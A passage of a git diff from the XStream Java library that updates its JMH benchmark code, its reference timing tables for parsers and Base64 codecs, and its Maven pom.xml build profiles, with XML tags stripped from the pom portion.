+JAVA_OPTS="$JAVA_OPTS --add-opens java.xml/com.sun.org.apache.xerces.internal.parsers=ALL-UNNAMED" +JAVA_OPTS="$JAVA_OPTS --add-opens java.xml/com.sun.org.apache.xerces.internal.util=ALL-UNNAMED" +JAVA_OPTS="$JAVA_OPTS --add-opens java.xml/com.sun.xml.internal.stream=ALL-UNNAMED" + # * Set options # ************* JAVA_OPTS="$JAVA_OPTS -Xmx2048m -Xss4m" diff --git a/xstream-jmh/src/java/com/thoughtworks/xstream/benchmark/jmh/Base64Benchmark.java b/xstream-jmh/src/java/com/thoughtworks/xstream/benchmark/jmh/Base64Benchmark.java index d79aab45a..a4a68c5e6 100644 --- a/xstream-jmh/src/java/com/thoughtworks/xstream/benchmark/jmh/Base64Benchmark.java +++ b/xstream-jmh/src/java/com/thoughtworks/xstream/benchmark/jmh/Base64Benchmark.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2017 XStream Committers. + * Copyright (C) 2017, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -38,7 +38,7 @@ * EncodedByteArrayConverter. * * @author Jörg Schaible - * @since upcoming + * @since 1.4.11 */ @BenchmarkMode(Mode.AverageTime) @Fork(value = 1) @@ -52,7 +52,7 @@ public class Base64Benchmark { /** * Enumeration for the operation of the base 64 coder. * - * @since upcoming + * @since 1.4.11 */ public static enum Operation { /** @@ -68,7 +68,7 @@ public static enum Operation { /** * Enumeration for the different base 64 coder. * - * @since upcoming + * @since 1.4.11 */ public static enum Codec implements StringCodec { /** @@ -156,7 +156,7 @@ public String encode(final byte[] data) { /** * Enumeration for the different data sets. * - * @since upcoming + * @since 1.4.11 */ public static enum Data { /** @@ -183,7 +183,7 @@ private Data(final int length) { * Get the encoded data as string. * * @return the encoded string - * @since upcoming + * @since 1.4.11 */ public String getBase64() { return base64; @@ -193,7 +193,7 @@ public String getBase64() { * Get the data to encode * * @return the data - * @since upcoming + * @since 1.4.11 */ public byte[] getData() { return data; @@ -244,7 +244,7 @@ private static byte[] getRandomBytes(final int length) { /** * Encode and decode data. * - * @since upcoming + * @since 1.4.11 */ @Benchmark public void run() { diff --git a/xstream-jmh/src/java/com/thoughtworks/xstream/benchmark/jmh/ConverterTypeBenchmark.java b/xstream-jmh/src/java/com/thoughtworks/xstream/benchmark/jmh/ConverterTypeBenchmark.java index bae415f34..c05e143de 100644 --- a/xstream-jmh/src/java/com/thoughtworks/xstream/benchmark/jmh/ConverterTypeBenchmark.java +++ b/xstream-jmh/src/java/com/thoughtworks/xstream/benchmark/jmh/ConverterTypeBenchmark.java @@ -1,12 +1,12 @@ /* - * Copyright (C) 2015, 2017 XStream Committers. + * Copyright (C) 2015, 2017, 2021 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. * - * Created on 20.11.2015 by Joerg Schaible + * Created on 20 November 2015 by Joerg Schaible */ package com.thoughtworks.xstream.benchmark.jmh; @@ -37,7 +37,7 @@ import com.thoughtworks.xstream.converters.reflection.ReflectionConverter; import com.thoughtworks.xstream.io.HierarchicalStreamReader; import com.thoughtworks.xstream.io.HierarchicalStreamWriter; -import com.thoughtworks.xstream.io.xml.Xpp3Driver; +import com.thoughtworks.xstream.io.xml.MXParserDriver; import com.thoughtworks.xstream.security.ArrayTypePermission; import com.thoughtworks.xstream.security.NoTypePermission; import com.thoughtworks.xstream.security.PrimitiveTypePermission; @@ -240,7 +240,7 @@ public void init() { */ @Setup(Level.Trial) public void setUp(final BenchmarkParams params) { - xstream = new XStream(new Xpp3Driver()); + xstream = new XStream(new MXParserDriver()); xstream.addPermission(NoTypePermission.NONE); xstream.addPermission(ArrayTypePermission.ARRAYS); xstream.addPermission(PrimitiveTypePermission.PRIMITIVES); diff --git a/xstream-jmh/src/java/com/thoughtworks/xstream/benchmark/jmh/ParserBenchmark.java b/xstream-jmh/src/java/com/thoughtworks/xstream/benchmark/jmh/ParserBenchmark.java index e19efda7a..a12060688 100644 --- a/xstream-jmh/src/java/com/thoughtworks/xstream/benchmark/jmh/ParserBenchmark.java +++ b/xstream-jmh/src/java/com/thoughtworks/xstream/benchmark/jmh/ParserBenchmark.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2015, 2017 XStream Committers. + * Copyright (C) 2015, 2017, 2021, 2024 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -18,6 +18,9 @@ import java.util.List; import java.util.concurrent.TimeUnit; +import javax.xml.stream.XMLInputFactory; + +import org.codehaus.jettison.json.JSONObject; import org.openjdk.jmh.annotations.Benchmark; import org.openjdk.jmh.annotations.BenchmarkMode; import org.openjdk.jmh.annotations.Fork; @@ -33,6 +36,7 @@ import org.openjdk.jmh.annotations.Warmup; import org.openjdk.jmh.infra.BenchmarkParams; +import com.ctc.wstx.api.WstxInputProperties; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.HierarchicalStreamDriver; import com.thoughtworks.xstream.io.HierarchicalStreamWriter; @@ -44,6 +48,7 @@ import com.thoughtworks.xstream.io.xml.JDom2Driver; import com.thoughtworks.xstream.io.xml.JDomDriver; import com.thoughtworks.xstream.io.xml.KXml2Driver; +import com.thoughtworks.xstream.io.xml.MXParserDriver; import com.thoughtworks.xstream.io.xml.PrettyPrintWriter; import com.thoughtworks.xstream.io.xml.StandardStaxDriver; import com.thoughtworks.xstream.io.xml.WstxDriver; @@ -68,6 +73,10 @@ @Threads(1) @Warmup(iterations = 5) public class ParserBenchmark { + { + // Increase max recursion depth for Jettison + JSONObject.setGlobalRecursionDepthLimit(2000); + } /** * Driver factory. Enum values used as parameter for the parser benchmark methods. @@ -76,6 +85,12 @@ public class ParserBenchmark { * @since 1.4.9 */ public enum DriverFactory { + /** + * Factory for the {@link MXParserDriver}. + * + * @since 1.4.16 + */ + MXParser(new MXParserDriver()), // /** * Factory for the {@link Xpp3Driver}. * @@ -99,7 +114,15 @@ public enum DriverFactory { * * @since 1.4.9 */ - Woodstox(new WstxDriver()), // + Woodstox(new WstxDriver() { + @Override + protected XMLInputFactory createInputFactory() { + final XMLInputFactory inputFactory = super.createInputFactory(); + // Increase max recursion depth for Woodstox + inputFactory.setProperty(WstxInputProperties.P_MAX_ELEMENT_DEPTH, Integer.valueOf(2000)); + return inputFactory; + } + }), // /** * Factory for the {@link BEAStaxDriver}. * @@ -156,7 +179,7 @@ public HierarchicalStreamWriter createWriter(final Writer out) { private final HierarchicalStreamDriver driver; - private DriverFactory(final HierarchicalStreamDriver driver) { + DriverFactory(final HierarchicalStreamDriver driver) { this.driver = driver; } @@ -222,7 +245,7 @@ public void checkData(final Object o) { } }, /** - * Nested list in list structure, 500 elements deep. + * Nested list in list structure, 1000 elements deep. * * @author Jörg Schaible * @since 1.4.9 @@ -287,6 +310,7 @@ public void checkData(final Object o) { assert 0 == array[LENGTH - 1] : ManyChildren + " fails end"; } }; + /** * Write the data of the factory into the writer of the hierarchical stream. * @@ -324,6 +348,7 @@ public void init() { xstream.addPermission(PrimitiveTypePermission.PRIMITIVES); xstream.allowTypes(List.class, String.class); xstream.setMode(XStream.NO_REFERENCES); + xstream.setCollectionUpdateLimit(0); driver = driverFactory.getDriver(); } diff --git a/xstream-jmh/src/java/com/thoughtworks/xstream/benchmark/jmh/StringConverterBenchmark.java b/xstream-jmh/src/java/com/thoughtworks/xstream/benchmark/jmh/StringConverterBenchmark.java index 118d1c9e8..bd71f53ce 100644 --- a/xstream-jmh/src/java/com/thoughtworks/xstream/benchmark/jmh/StringConverterBenchmark.java +++ b/xstream-jmh/src/java/com/thoughtworks/xstream/benchmark/jmh/StringConverterBenchmark.java @@ -1,12 +1,12 @@ /* - * Copyright (C) 2015, 2017 XStream Committers. + * Copyright (C) 2015, 2017, 2021, 2022 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. * - * Created on 08.11.2015 by Joerg Schaible + * Created on 8. November 2015 by Joerg Schaible */ package com.thoughtworks.xstream.benchmark.jmh; @@ -37,8 +37,8 @@ import com.thoughtworks.xstream.converters.basic.AbstractSingleValueConverter; import com.thoughtworks.xstream.core.util.WeakCache; import com.thoughtworks.xstream.io.xml.CompactWriter; +import com.thoughtworks.xstream.io.xml.MXParserDriver; import com.thoughtworks.xstream.io.xml.PrettyPrintWriter; -import com.thoughtworks.xstream.io.xml.Xpp3Driver; import com.thoughtworks.xstream.security.ArrayTypePermission; import com.thoughtworks.xstream.security.NoTypePermission; @@ -170,7 +170,7 @@ private ConcurrentHashMapStringConverter(final ConcurrentMap map * @since 1.4.9 */ public ConcurrentHashMapStringConverter(final int lengthLimit) { - this(new ConcurrentHashMap(), lengthLimit); + this(new ConcurrentHashMap<>(), lengthLimit); } @Override @@ -262,7 +262,7 @@ public void setUp(final BenchmarkParams params) { default: throw new IllegalStateException("Unsupported benchmark type: " + benchmark); } - xstream = new XStream(new Xpp3Driver()); + xstream = new XStream(new MXParserDriver()); xstream.addPermission(NoTypePermission.NONE); xstream.addPermission(ArrayTypePermission.ARRAYS); xstream.allowTypes(String.class); diff --git a/xstream-jmh/src/reference/base64.txt b/xstream-jmh/src/reference/base64.txt index d73132c77..e7d5eea5b 100644 --- a/xstream-jmh/src/reference/base64.txt +++ b/xstream-jmh/src/reference/base64.txt @@ -1,31 +1,31 @@ -Benchmark (codec) (data) (operation) Mode Cnt Score Error Units -Base64Benchmark.run xstreamInternal small encode avgt 16 412,587 ± 5,909 ns/op -Base64Benchmark.run xstreamInternal small decode avgt 16 355,179 ± 6,739 ns/op -Base64Benchmark.run xstreamInternal medium encode avgt 16 92168,010 ± 1171,041 ns/op -Base64Benchmark.run xstreamInternal medium decode avgt 16 71237,946 ± 5183,961 ns/op -Base64Benchmark.run xstreamInternal big encode avgt 16 26650132,425 ± 702281,501 ns/op -Base64Benchmark.run xstreamInternal big decode avgt 16 23918149,378 ± 490572,568 ns/op -Base64Benchmark.run dataTypeConverter small encode avgt 16 140,108 ± 0,922 ns/op -Base64Benchmark.run dataTypeConverter small decode avgt 16 148,544 ± 3,356 ns/op -Base64Benchmark.run dataTypeConverter medium encode avgt 16 29027,460 ± 210,458 ns/op -Base64Benchmark.run dataTypeConverter medium decode avgt 16 29398,150 ± 564,537 ns/op -Base64Benchmark.run dataTypeConverter big encode avgt 16 12438460,158 ± 808232,756 ns/op -Base64Benchmark.run dataTypeConverter big decode avgt 16 8542715,772 ± 138129,356 ns/op -Base64Benchmark.run javaUtil small encode avgt 16 121,242 ± 1,972 ns/op -Base64Benchmark.run javaUtil small decode avgt 16 198,358 ± 2,692 ns/op -Base64Benchmark.run javaUtil medium encode avgt 16 19773,854 ± 196,699 ns/op -Base64Benchmark.run javaUtil medium decode avgt 16 33225,752 ± 923,564 ns/op -Base64Benchmark.run javaUtil big encode avgt 16 9273618,262 ± 171478,979 ns/op -Base64Benchmark.run javaUtil big decode avgt 16 11024467,909 ± 252076,911 ns/op -Base64Benchmark.run commonsCodec small encode avgt 16 3438,463 ± 10,506 ns/op -Base64Benchmark.run commonsCodec small decode avgt 16 3526,830 ± 22,369 ns/op -Base64Benchmark.run commonsCodec medium encode avgt 16 70861,187 ± 982,230 ns/op -Base64Benchmark.run commonsCodec medium decode avgt 16 77050,949 ± 2022,067 ns/op -Base64Benchmark.run commonsCodec big encode avgt 16 22811913,411 ± 431411,208 ns/op -Base64Benchmark.run commonsCodec big decode avgt 16 24184930,845 ± 716442,289 ns/op -Base64Benchmark.run migBase small encode avgt 16 124,268 ± 0,747 ns/op -Base64Benchmark.run migBase small decode avgt 16 145,926 ± 2,869 ns/op -Base64Benchmark.run migBase medium encode avgt 16 24344,448 ± 166,887 ns/op -Base64Benchmark.run migBase medium decode avgt 16 26948,514 ± 331,437 ns/op -Base64Benchmark.run migBase big encode avgt 16 12727738,137 ± 993023,057 ns/op -Base64Benchmark.run migBase big decode avgt 16 8803844,035 ± 99113,041 ns/op \ No newline at end of file +Benchmark (codec) (data) (driverFactory) (operation) Mode Cnt Score Error Units +Base64Benchmark.run xstreamInternal small N/A encode avgt 16 422.691 ± 0.805 ns/op +Base64Benchmark.run xstreamInternal small N/A decode avgt 16 401.744 ± 41.549 ns/op +Base64Benchmark.run xstreamInternal medium N/A encode avgt 16 87980.151 ± 1758.463 ns/op +Base64Benchmark.run xstreamInternal medium N/A decode avgt 16 90334.626 ± 272.486 ns/op +Base64Benchmark.run xstreamInternal big N/A encode avgt 16 26829622.608 ± 219338.574 ns/op +Base64Benchmark.run xstreamInternal big N/A decode avgt 16 25760733.427 ± 892724.693 ns/op +Base64Benchmark.run dataTypeConverter small N/A encode avgt 16 116.452 ± 4.685 ns/op +Base64Benchmark.run dataTypeConverter small N/A decode avgt 16 156.041 ± 0.232 ns/op +Base64Benchmark.run dataTypeConverter medium N/A encode avgt 16 22025.833 ± 871.377 ns/op +Base64Benchmark.run dataTypeConverter medium N/A decode avgt 16 29199.416 ± 1366.584 ns/op +Base64Benchmark.run dataTypeConverter big N/A encode avgt 16 10173025.627 ± 14375.190 ns/op +Base64Benchmark.run dataTypeConverter big N/A decode avgt 16 7645745.427 ± 378490.086 ns/op +Base64Benchmark.run javaUtil small N/A encode avgt 16 113.013 ± 10.478 ns/op +Base64Benchmark.run javaUtil small N/A decode avgt 16 83.877 ± 0.298 ns/op +Base64Benchmark.run javaUtil medium N/A encode avgt 16 14425.936 ± 39.693 ns/op +Base64Benchmark.run javaUtil medium N/A decode avgt 16 13846.668 ± 779.799 ns/op +Base64Benchmark.run javaUtil big N/A encode avgt 16 6149989.342 ± 199233.302 ns/op +Base64Benchmark.run javaUtil big N/A decode avgt 16 5342302.204 ± 18186.258 ns/op +Base64Benchmark.run commonsCodec small N/A encode avgt 16 6390.608 ± 72.975 ns/op +Base64Benchmark.run commonsCodec small N/A decode avgt 16 6385.171 ± 89.129 ns/op +Base64Benchmark.run commonsCodec medium N/A encode avgt 16 68085.447 ± 138.335 ns/op +Base64Benchmark.run commonsCodec medium N/A decode avgt 16 68183.900 ± 6315.687 ns/op +Base64Benchmark.run commonsCodec big N/A encode avgt 16 29120324.467 ± 745830.065 ns/op +Base64Benchmark.run commonsCodec big N/A decode avgt 16 22775668.935 ± 627458.817 ns/op +Base64Benchmark.run migBase small N/A encode avgt 16 107.834 ± 0.218 ns/op +Base64Benchmark.run migBase small N/A decode avgt 16 110.671 ± 5.789 ns/op +Base64Benchmark.run migBase medium N/A encode avgt 16 19048.637 ± 1321.623 ns/op +Base64Benchmark.run migBase medium N/A decode avgt 16 22464.136 ± 30.464 ns/op +Base64Benchmark.run migBase big N/A encode avgt 16 10101223.925 ± 193350.342 ns/op +Base64Benchmark.run migBase big N/A decode avgt 16 6967471.163 ± 405344.659 ns/op diff --git a/xstream-jmh/src/reference/converterType.txt b/xstream-jmh/src/reference/converterType.txt index c6990dd21..e2ce90c02 100644 --- a/xstream-jmh/src/reference/converterType.txt +++ b/xstream-jmh/src/reference/converterType.txt @@ -1,4 +1,4 @@ Benchmark Mode Cnt Score Error Units -ConverterTypeBenchmark.custom avgt 16 9827295.423 ± 216353.603 ns/op -ConverterTypeBenchmark.javaBean avgt 16 18939434.561 ± 196809.719 ns/op -ConverterTypeBenchmark.reflection avgt 16 19450925.166 ± 181312.751 ns/op +ConverterTypeBenchmark.custom avgt 16 9324531.713 ± 12182.415 ns/op +ConverterTypeBenchmark.javaBean avgt 16 19658157.449 ± 84554.958 ns/op +ConverterTypeBenchmark.reflection avgt 16 20859870.075 ± 2470686.138 ns/op diff --git a/xstream-jmh/src/reference/nameCoder.txt b/xstream-jmh/src/reference/nameCoder.txt index 4835d0826..c6fc3f8d2 100644 --- a/xstream-jmh/src/reference/nameCoder.txt +++ b/xstream-jmh/src/reference/nameCoder.txt @@ -1,6 +1,6 @@ -Benchmark Mode Cnt Score Error Units -NameCoderBenchmark.cachedEscapedUnderscoreCoding avgt 25 4531410.494 ± 128534.700 ns/op -NameCoderBenchmark.dollarCoding avgt 25 4635671.256 ± 154209.189 ns/op -NameCoderBenchmark.escapedUnderscoreCoding avgt 25 5974244.102 ± 68996.714 ns/op -NameCoderBenchmark.noCoding avgt 25 4057270.642 ± 50166.734 ns/op -NameCoderBenchmark.xmlFriendlyCoding avgt 25 4953594.706 ± 98502.894 ns/op +Benchmark Mode Cnt Score Error Units +NameCoderBenchmark.cachedEscapedUnderscoreCoding avgt 25 4339193.305 ± 117708.908 ns/op +NameCoderBenchmark.dollarCoding avgt 25 4570684.356 ± 169447.323 ns/op +NameCoderBenchmark.escapedUnderscoreCoding avgt 25 6322642.927 ± 176678.518 ns/op +NameCoderBenchmark.noCoding avgt 25 3917564.563 ± 150151.093 ns/op +NameCoderBenchmark.xmlFriendlyCoding avgt 25 5102368.550 ± 129434.626 ns/op diff --git a/xstream-jmh/src/reference/parsers.txt b/xstream-jmh/src/reference/parsers.txt index b9072d2a8..4aa87f639 100644 --- a/xstream-jmh/src/reference/parsers.txt +++ b/xstream-jmh/src/reference/parsers.txt @@ -1,37 +1,40 @@ -Benchmark (driverFactory) Mode Cnt Score Error Units -ParserBenchmark.parseBigText Xpp3 avgt 15 2084516.475 ± 18357.160 ns/op -ParserBenchmark.parseBigText kXML2 avgt 15 3539743.111 ± 40107.429 ns/op -ParserBenchmark.parseBigText JDKStax avgt 15 7314997.951 ± 47929.496 ns/op -ParserBenchmark.parseBigText Woodstox avgt 15 1888835.931 ± 22134.786 ns/op -ParserBenchmark.parseBigText BEAStax avgt 15 2658801.705 ± 18343.532 ns/op -ParserBenchmark.parseBigText DOM avgt 15 9781342.261 ± 56171.129 ns/op -ParserBenchmark.parseBigText DOM4J avgt 15 7737425.182 ± 60332.494 ns/op -ParserBenchmark.parseBigText JDom avgt 15 6303281.491 ± 38500.209 ns/op -ParserBenchmark.parseBigText JDom2 avgt 15 5912161.208 ± 60666.941 ns/op -ParserBenchmark.parseBigText Xom avgt 15 8086930.673 ± 84884.910 ns/op -ParserBenchmark.parseBigText Binary avgt 15 1149384.865 ± 18245.639 ns/op -ParserBenchmark.parseBigText Jettison avgt 15 2983598.441 ± 51508.673 ns/op -ParserBenchmark.parseManyChildren Xpp3 avgt 15 693019.370 ± 3982.017 ns/op -ParserBenchmark.parseManyChildren kXML2 avgt 15 837861.515 ± 5737.910 ns/op -ParserBenchmark.parseManyChildren JDKStax avgt 15 727323.621 ± 12819.229 ns/op -ParserBenchmark.parseManyChildren Woodstox avgt 15 622817.191 ± 8434.515 ns/op -ParserBenchmark.parseManyChildren BEAStax avgt 15 716108.170 ± 3738.679 ns/op -ParserBenchmark.parseManyChildren DOM avgt 15 52632217.909 ± 820752.640 ns/op -ParserBenchmark.parseManyChildren DOM4J avgt 15 93587705.473 ± 576597.653 ns/op -ParserBenchmark.parseManyChildren JDom avgt 15 7066427.706 ± 67403.369 ns/op -ParserBenchmark.parseManyChildren JDom2 avgt 15 9159926.646 ± 91300.562 ns/op -ParserBenchmark.parseManyChildren Xom avgt 15 36550127.033 ± 85933.816 ns/op -ParserBenchmark.parseManyChildren Binary avgt 15 438657.801 ± 4495.124 ns/op -ParserBenchmark.parseManyChildren Jettison avgt 15 564172.475 ± 4212.309 ns/op -ParserBenchmark.parseNestedElements Xpp3 avgt 15 12426115.039 ± 129574.773 ns/op -ParserBenchmark.parseNestedElements kXML2 avgt 15 34291308.328 ± 168044.895 ns/op -ParserBenchmark.parseNestedElements JDKStax avgt 15 594349.622 ± 4103.535 ns/op -ParserBenchmark.parseNestedElements Woodstox avgt 15 645986.465 ± 7631.906 ns/op -ParserBenchmark.parseNestedElements BEAStax avgt 15 579754.753 ± 2345.131 ns/op -ParserBenchmark.parseNestedElements DOM avgt 15 5103544.581 ± 43300.158 ns/op -ParserBenchmark.parseNestedElements DOM4J avgt 15 5832065.181 ± 58233.910 ns/op -ParserBenchmark.parseNestedElements JDom avgt 15 14168656.571 ± 199034.717 ns/op -ParserBenchmark.parseNestedElements JDom2 avgt 15 10786607.592 ± 136001.568 ns/op -ParserBenchmark.parseNestedElements Xom avgt 15 7799715.857 ± 102903.181 ns/op -ParserBenchmark.parseNestedElements Binary avgt 15 290646.503 ± 1769.476 ns/op -ParserBenchmark.parseNestedElements Jettison avgt 15 632427.902 ± 4369.921 ns/op +Benchmark (driverFactory) Mode Cnt Score Error Units +ParserBenchmark.parseBigText MXParser avgt 15 2131602.489 ± 25703.664 ns/op +ParserBenchmark.parseBigText Xpp3 avgt 15 2084284.951 ± 14376.744 ns/op +ParserBenchmark.parseBigText kXML2 avgt 15 3561706.234 ± 28443.949 ns/op +ParserBenchmark.parseBigText JDKStax avgt 15 8450930.541 ± 114260.574 ns/op +ParserBenchmark.parseBigText Woodstox avgt 15 1959085.951 ± 4958.052 ns/op +ParserBenchmark.parseBigText BEAStax avgt 15 3182516.188 ± 38272.584 ns/op +ParserBenchmark.parseBigText DOM avgt 15 10568442.558 ± 153957.726 ns/op +ParserBenchmark.parseBigText DOM4J avgt 15 8543670.534 ± 35374.800 ns/op +ParserBenchmark.parseBigText JDom avgt 15 6379300.940 ± 39285.532 ns/op +ParserBenchmark.parseBigText JDom2 avgt 15 5929805.928 ± 118564.329 ns/op +ParserBenchmark.parseBigText Xom avgt 15 7968868.873 ± 26730.256 ns/op +ParserBenchmark.parseBigText Binary avgt 15 1065228.134 ± 5642.331 ns/op +ParserBenchmark.parseBigText Jettison avgt 15 3682704.689 ± 56568.770 ns/op +ParserBenchmark.parseManyChildren MXParser avgt 15 814691.675 ± 3495.652 ns/op +ParserBenchmark.parseManyChildren Xpp3 avgt 15 754593.348 ± 16963.908 ns/op +ParserBenchmark.parseManyChildren kXML2 avgt 15 855787.083 ± 2364.443 ns/op +ParserBenchmark.parseManyChildren JDKStax avgt 15 885917.070 ± 27740.420 ns/op +ParserBenchmark.parseManyChildren Woodstox avgt 15 630843.461 ± 16713.507 ns/op +ParserBenchmark.parseManyChildren BEAStax avgt 15 667706.032 ± 11089.959 ns/op +ParserBenchmark.parseManyChildren DOM avgt 15 59894584.643 ± 305491.167 ns/op +ParserBenchmark.parseManyChildren DOM4J avgt 15 79125701.566 ± 1579465.065 ns/op +ParserBenchmark.parseManyChildren JDom avgt 15 6887733.303 ± 102619.220 ns/op +ParserBenchmark.parseManyChildren JDom2 avgt 15 9876176.832 ± 48837.176 ns/op +ParserBenchmark.parseManyChildren Xom avgt 15 34141742.595 ± 475598.891 ns/op +ParserBenchmark.parseManyChildren Binary avgt 15 405493.660 ± 4239.044 ns/op +ParserBenchmark.parseManyChildren Jettison avgt 15 601803.834 ± 2160.122 ns/op +ParserBenchmark.parseNestedElements MXParser avgt 15 13287597.794 ± 343543.709 ns/op +ParserBenchmark.parseNestedElements Xpp3 avgt 15 13056389.184 ± 132562.496 ns/op +ParserBenchmark.parseNestedElements kXML2 avgt 15 36819091.742 ± 300358.967 ns/op +ParserBenchmark.parseNestedElements JDKStax avgt 15 868883.676 ± 15697.149 ns/op +ParserBenchmark.parseNestedElements Woodstox avgt 15 835465.393 ± 19498.030 ns/op +ParserBenchmark.parseNestedElements BEAStax avgt 15 603986.803 ± 2529.449 ns/op +ParserBenchmark.parseNestedElements DOM avgt 15 5382390.375 ± 82043.169 ns/op +ParserBenchmark.parseNestedElements DOM4J avgt 15 5372787.809 ± 127206.586 ns/op +ParserBenchmark.parseNestedElements JDom avgt 15 13598531.633 ± 96889.652 ns/op +ParserBenchmark.parseNestedElements JDom2 avgt 15 12503949.903 ± 502488.951 ns/op +ParserBenchmark.parseNestedElements Xom avgt 15 5425911.128 ± 23777.824 ns/op +ParserBenchmark.parseNestedElements Binary avgt 15 284620.649 ± 1734.011 ns/op +ParserBenchmark.parseNestedElements Jettison avgt 15 678187.271 ± 19300.714 ns/op diff --git a/xstream-jmh/src/reference/stringConverter.txt b/xstream-jmh/src/reference/stringConverter.txt index 66357f6bd..0f35a4bb2 100644 --- a/xstream-jmh/src/reference/stringConverter.txt +++ b/xstream-jmh/src/reference/stringConverter.txt @@ -1,7 +1,7 @@ Benchmark Mode Cnt Score Error Units -StringConverterBenchmark.intern avgt 16 12650471.288 ± 165474.187 ns/op -StringConverterBenchmark.limitedConcurrentMap avgt 16 12072029.228 ± 175936.759 ns/op -StringConverterBenchmark.limitedSynchronizedWeakCache avgt 16 12748751.700 ± 205485.179 ns/op -StringConverterBenchmark.nonCaching avgt 16 9755034.512 ± 210645.214 ns/op -StringConverterBenchmark.unlimitedConcurrentMap avgt 16 11431423.547 ± 176483.052 ns/op -StringConverterBenchmark.unlimitedSynchronizedWeakCache avgt 16 11178461.611 ± 177404.016 ns/op +StringConverterBenchmark.intern avgt 16 14262839.973 ± 1233510.125 ns/op +StringConverterBenchmark.limitedConcurrentMap avgt 16 10538757.220 ± 20805.104 ns/op +StringConverterBenchmark.limitedSynchronizedWeakCache avgt 16 11298773.753 ± 13335.307 ns/op +StringConverterBenchmark.nonCaching avgt 16 9796296.611 ± 668511.980 ns/op +StringConverterBenchmark.unlimitedConcurrentMap avgt 16 11252298.498 ± 215637.373 ns/op +StringConverterBenchmark.unlimitedSynchronizedWeakCache avgt 16 11279714.685 ± 22069.538 ns/op diff --git a/xstream/pom.xml b/xstream/pom.xml index dd695e06c..9da71d80c 100644 --- a/xstream/pom.xml +++ b/xstream/pom.xml @@ -1,7 +1,7 @@ xpp3 xpp3_min + true @@ -102,6 +99,17 @@ true + + jakarta.activation + jakarta.activation-api + true + + + jakarta.xml.bind + jakarta.xml.bind-api + provided + + junit @@ -126,15 +134,57 @@ - oro - oro + org.apache.commons + commons-lang3 test - org.apache.commons - commons-lang3 + com.sun.xml.ws + jaxws-rt test + + + javax.xml.ws + jaxws-api + + + com.sun.istack + istack-commons-runtime + + + com.sun.xml.bind + jaxb-impl + + + com.sun.xml.messaging.saaj + saaj-impl + + + com.sun.xml.stream.buffer + streambuffer + + + com.sun.xml.ws + policy + + + com.sun.org.apache.xml.internal + resolver + + + org.glassfish.gmbal + gmbal-api-only + + + org.jvnet + mimepull + + + org.jvnet.staxex + stax-ex + + @@ -185,11 +235,13 @@ **/AbstractAcceptanceTest.* + META-INF/LICENSE ${project.name} Test ${project.name} Test + BSD-3-Clause @@ -201,18 +253,29 @@ - jdk19-ge + jdk17 - [9,) + 17 - - --add-modules java.activation,java.xml.bind --illegal-access=${surefire.illegal.access} - + + + + org.apache.maven.plugins + maven-javadoc-plugin + + + --add-modules=jdk.unsupported + + com.thoughtworks.xstream.core.util + + + + - jdk18-ge + jdk16-ge - [1.8,) + [16,) @@ -220,37 +283,21 @@ org.apache.maven.plugins maven-compiler-plugin - - -XDignore.symbol.file - - - **/Lambda** - **/time/** - **/ISO8601JavaTimeConverter.java - - **/Lambda** - **/*18TypesTest.java + **/Record** - compile-jdk18 + compile-jdk16 - 1.8 - 1.8 - - foo - foo - foo - - - foo - foo - + 16 + + + **/Record** + - compile testCompile @@ -260,44 +307,68 @@ - jdk18 + jdk15 - 1.8 + 15 org.apache.maven.plugins - maven-javadoc-plugin + maven-compiler-plugin - com.thoughtworks.xstream.core.util + + **/Record** + + + + compile-jdk15 + + 15 + + + **/Record** + + + --enable-preview + + + + testCompile + + + - + + --enable-preview + + + + jdk11-ge-jdk14 + + [11,15) + + org.apache.maven.plugins - maven-javadoc-plugin - ${version.plugin.maven.javadoc} + maven-compiler-plugin - com.thoughtworks.xstream.core.util - ${javadoc.xdoclint} - false - ${version.java.source} - - ${javadoc.link.javase} - + + **/Record** + - + - jdk17 + jdk11-ge - 1.7 + [11,) @@ -308,26 +379,18 @@ -XDignore.symbol.file - - **/Lambda** - **/time/** - **/ISO8601JavaTimeConverter.java - **/Base64JavaUtilCodec.java - - - **/Lambda** - **/Base64JavaUtilCodecTest.java - **/*18TypesTest.java - - + org.apache.maven.plugins - maven-javadoc-plugin - - 1.7 - com.thoughtworks.xstream.core.util - + maven-surefire-plugin + + + jakarta.xml.bind + jakarta.xml.bind-api + ${version.jakarta.xml.bind.api} + + @@ -342,15 +405,65 @@ ${version.plugin.maven.surefire} - org.codehaus.mojo - cobertura-maven-plugin - ${version.plugin.mojo.cobertura} + org.jacoco + jacoco-maven-plugin + ${version.plugin.jacoco} + + + + report + + + !com.thoughtworks.xstream.core.util,com.thoughtworks.xstream.*;-noimport:=true + + org.xmlpull.mxp1;resolution:=optional, + org.xmlpull.v1;resolution:=optional, + io.github.xstream.mxparser.*;resolution:=optional, + com.ctc.*;resolution:=optional, + com.ibm.*;resolution:=optional, + com.sun.*;resolution:=optional, + javax.*;resolution:=optional, + org.xml.*;resolution:=optional, + sun.*;resolution:=optional, + * + + ${surefire.preview.arg} + --add-opens java.base/java.lang=ALL-UNNAMED + --add-opens java.base/java.util=ALL-UNNAMED + --add-opens java.base/java.io=ALL-UNNAMED + --add-opens java.base/java.time=ALL-UNNAMED + --add-opens java.base/java.time.chrono=ALL-UNNAMED + --add-opens java.base/java.lang.invoke=ALL-UNNAMED + --add-opens java.base/java.lang.ref=ALL-UNNAMED + --add-opens java.base/java.lang.reflect=ALL-UNNAMED + --add-opens java.base/java.text=ALL-UNNAMED + --add-opens java.base/javax.security.auth.x500=ALL-UNNAMED + --add-opens java.base/sun.util.calendar=ALL-UNNAMED + --add-opens java.desktop/java.beans=ALL-UNNAMED + --add-opens java.desktop/java.awt=ALL-UNNAMED + --add-opens java.desktop/java.awt.font=ALL-UNNAMED + --add-opens java.desktop/javax.swing=ALL-UNNAMED + --add-opens java.desktop/javax.swing.border=ALL-UNNAMED + --add-opens java.desktop/javax.swing.event=ALL-UNNAMED + --add-opens java.desktop/javax.swing.table=ALL-UNNAMED + --add-opens java.desktop/javax.swing.plaf.basic=ALL-UNNAMED + --add-opens 